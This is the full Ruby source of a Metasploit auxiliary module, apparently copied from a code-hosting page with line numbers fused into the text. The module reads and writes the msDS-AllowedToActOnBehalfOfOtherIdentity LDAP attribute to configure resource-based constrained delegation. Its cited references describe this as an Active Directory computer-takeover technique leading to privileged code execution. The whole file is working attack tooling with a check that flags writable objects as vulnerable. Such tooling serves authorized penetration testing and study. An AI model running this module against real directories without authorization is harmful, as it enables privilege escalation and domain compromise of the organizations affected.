Path: blob/master/modules/auxiliary/admin/ldap/rbcd.rb
21545 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Remote::LDAP::ActiveDirectory8include Msf::OptionalSession::LDAP910ATTRIBUTE = 'msDS-AllowedToActOnBehalfOfOtherIdentity'.freeze1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Role Base Constrained Delegation',17'Description' => %q{18This module can read and write the necessary LDAP attributes to configure a particular object for Role Based19Constrained Delegation (RBCD). When writing, the module will add an access control entry to allow the account20specified in DELEGATE_FROM to the object specified in DELEGATE_TO. In order for this to succeed, the21authenticated user must have write access to the target object (the object specified in DELEGATE_TO).22},23'Author' => [24'Podalirius', # Remi Gascou (@podalirius_), Impacket reference implementation25'Charlie Bromberg', # Charlie Bromberg (@_nwodtuhs), Impacket reference implementation26'Spencer McIntyre' # module author27],28'References' => [29['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution'],30['URL', 'https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd'],31['URL', 'https://github.com/SecureAuthCorp/impacket/blob/3c6713e309cae871d685fa443d3e21b7026a2155/examples/rbcd.py']32],33'License' => MSF_LICENSE,34'Actions' => [35['FLUSH', { 'Description' => 'Delete the security descriptor' }],36['READ', { 'Description' => 'Read the security descriptor' }],37['REMOVE', { 'Description' => 'Remove matching ACEs from the security descriptor DACL' }],38['WRITE', { 'Description' => 'Add an ACE to the security descriptor DACL' }]39],40'DefaultAction' => 'READ',41'Notes' => {42'Stability' => [],43'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, WRITE all make changes44'Reliability' => []45}46)47)4849register_options([50OptString.new('DELEGATE_TO', [ true, 'The delegation target' ]),51OptString.new('DELEGATE_FROM', [ false, 'The delegation source' ])52])53end5455def build_ace(sid)56Rex::Proto::MsDtyp::MsDtypAce.new({57header: {58ace_type: Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE59},60body: {61access_mask: Rex::Proto::MsDtyp::MsDtypAccessMask::ALL,62sid: sid63}64})65end6667def get_delegate_to_obj68delegate_to = datastore['DELEGATE_TO']69if delegate_to.blank?70fail_with(Failure::BadConfig, 'The DELEGATE_TO option must be specified for this action.')71end7273obj = adds_get_object_by_samaccountname(@ldap, delegate_to)74if obj.nil? && !delegate_to.end_with?('$')75obj = adds_get_object_by_samaccountname(@ldap, "#{delegate_to}$")76end77fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_to}") unless obj7879obj80end8182def get_delegate_from_obj83delegate_from = datastore['DELEGATE_FROM']84if delegate_from.blank?85fail_with(Failure::BadConfig, 'The DELEGATE_FROM option must be specified for this action.')86end8788obj = adds_get_object_by_samaccountname(@ldap, delegate_from)89if obj.nil? && !delegate_from.end_with?('$')90obj = adds_get_object_by_samaccountname(@ldap, "#{delegate_from}$")91end92fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_from}") unless obj9394obj95end9697def check98ldap_connect do |ldap|99validate_bind_success!(ldap)100101if (@base_dn = datastore['BASE_DN'])102print_status("User-specified base DN: #{@base_dn}")103else104print_status('Discovering base DN automatically')105106unless (@base_dn = ldap.base_dn)107print_warning("Couldn't discover base DN!")108end109end110@ldap = ldap111112obj = get_delegate_to_obj113if obj.nil?114return Exploit::CheckCode::Unknown('Failed to find the specified object.')115end116117unless adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.all(%i[RP WP]))118return Exploit::CheckCode::Safe('The object can not be written to.')119end120121Exploit::CheckCode::Vulnerable('The object can be written to.')122end123end124125def run126ldap_connect do |ldap|127validate_bind_success!(ldap)128129if (@base_dn = datastore['BASE_DN'])130print_status("User-specified base DN: #{@base_dn}")131else132print_status('Discovering base DN automatically')133134unless (@base_dn = ldap.base_dn)135print_warning("Couldn't discover base DN!")136end137end138@ldap = ldap139140obj = get_delegate_to_obj141142send("action_#{action.name.downcase}", obj)143end144rescue Errno::ECONNRESET145fail_with(Failure::Disconnected, 'The connection was reset.')146rescue Rex::ConnectionError => e147fail_with(Failure::Unreachable, e.message)148rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e149fail_with(Failure::NoAccess, e.message)150rescue Net::LDAP::Error => e151fail_with(Failure::Unknown, "#{e.class}: #{e.message}")152end153154def action_read(obj)155if obj[ATTRIBUTE].first.nil?156print_status("The #{ATTRIBUTE} field is empty.")157return158end159160security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)161if (sddl = sd_to_sddl(security_descriptor))162vprint_status("#{ATTRIBUTE}: #{sddl}")163end164165if security_descriptor.dacl.nil?166print_status("The #{ATTRIBUTE} DACL field is empty.")167return168end169170print_status('Allowed accounts:')171security_descriptor.dacl.aces.each do |ace|172account_name = adds_get_object_by_sid(@ldap, ace.body.sid)173if account_name174print_status(" #{ace.body.sid} (#{account_name[:sAMAccountName].first})")175else176print_status(" #{ace.body.sid}")177end178end179end180181def action_remove(obj)182delegate_from = get_delegate_from_obj183184security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)185unless security_descriptor.dacl && !security_descriptor.dacl.aces.empty?186print_status('No DACL ACEs are present. No changes are necessary.')187return188end189190aces = security_descriptor.dacl.aces.snapshot191aces.delete_if { |ace| ace.body.sid == delegate_from[:objectSid].first }192delta = security_descriptor.dacl.aces.length - aces.length193if delta == 0194print_status('No DACL ACEs matched. No changes are necessary.')195return196else197print_status("Removed #{delta} matching ACE#{delta > 1 ? 's' : ''}.")198end199security_descriptor.dacl.aces = aces200# clear these fields so they'll be calculated automatically after the update201security_descriptor.dacl.acl_count.clear202security_descriptor.dacl.acl_size.clear203204@ldap.replace_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)205validate_query_result!(@ldap.get_operation_result.table)206207print_good("Successfully updated the #{ATTRIBUTE} attribute.")208end209210def action_flush(obj)211unless obj[ATTRIBUTE]&.first212print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")213return214end215216@ldap.delete_attribute(obj.dn, ATTRIBUTE)217validate_query_result!(@ldap.get_operation_result.table)218219print_good("Successfully deleted the #{ATTRIBUTE} attribute.")220end221222def action_write(obj)223delegate_from = get_delegate_from_obj224if obj[ATTRIBUTE]&.first225_action_write_update(obj, delegate_from)226else227_action_write_create(obj, delegate_from)228end229end230231def _action_write_create(obj, delegate_from)232vprint_status("Creating new #{ATTRIBUTE}...")233delegate_from_sid = Rex::Proto::MsDtyp::MsDtypSid.read(delegate_from[:objectSid].first)234security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.new235security_descriptor.owner_sid = Rex::Proto::MsDtyp::MsDtypSid.new('S-1-5-32-544')236security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new237security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS238security_descriptor.dacl.aces << build_ace(delegate_from_sid)239240if (sddl = sd_to_sddl(security_descriptor))241vprint_status("New #{ATTRIBUTE}: #{sddl}")242end243244@ldap.add_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)245validate_query_result!(@ldap.get_operation_result.table)246247print_good("Successfully created the #{ATTRIBUTE} attribute.")248print_status('Added account:')249print_status(" #{delegate_from_sid} (#{delegate_from[:sAMAccountName].first})")250end251252def _action_write_update(obj, delegate_from)253vprint_status("Updating existing #{ATTRIBUTE}...")254security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)255256if (sddl = sd_to_sddl(security_descriptor))257vprint_status("Old #{ATTRIBUTE}: #{sddl}")258end259260if security_descriptor.dacl261if security_descriptor.dacl.aces.any? { |ace| ace.body.sid == delegate_from[:objectSid].first }262print_status("Delegation from #{delegate_from[:sAMAccountName].first} to #{obj[:sAMAccountName].first} is already configured.")263end264# clear these fields so they'll be calculated automatically after the update265security_descriptor.dacl.acl_count.clear266security_descriptor.dacl.acl_size.clear267else268security_descriptor.control.dp = 1269security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new270security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS271end272273delegate_from_sid = Rex::Proto::MsDtyp::MsDtypSid.read(delegate_from[:objectSid].first)274security_descriptor.dacl.aces << build_ace(delegate_from_sid)275276if (sddl = sd_to_sddl(security_descriptor))277vprint_status("New #{ATTRIBUTE}: #{sddl}")278end279280@ldap.replace_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)281validate_query_result!(@ldap.get_operation_result.table)282283print_good("Successfully updated the #{ATTRIBUTE} attribute.")284end285286def sd_to_sddl(sd)287sd.to_sddl_text288rescue StandardError => e289elog('failed to parse a binary security descriptor to SDDL', error: e)290end291end292293294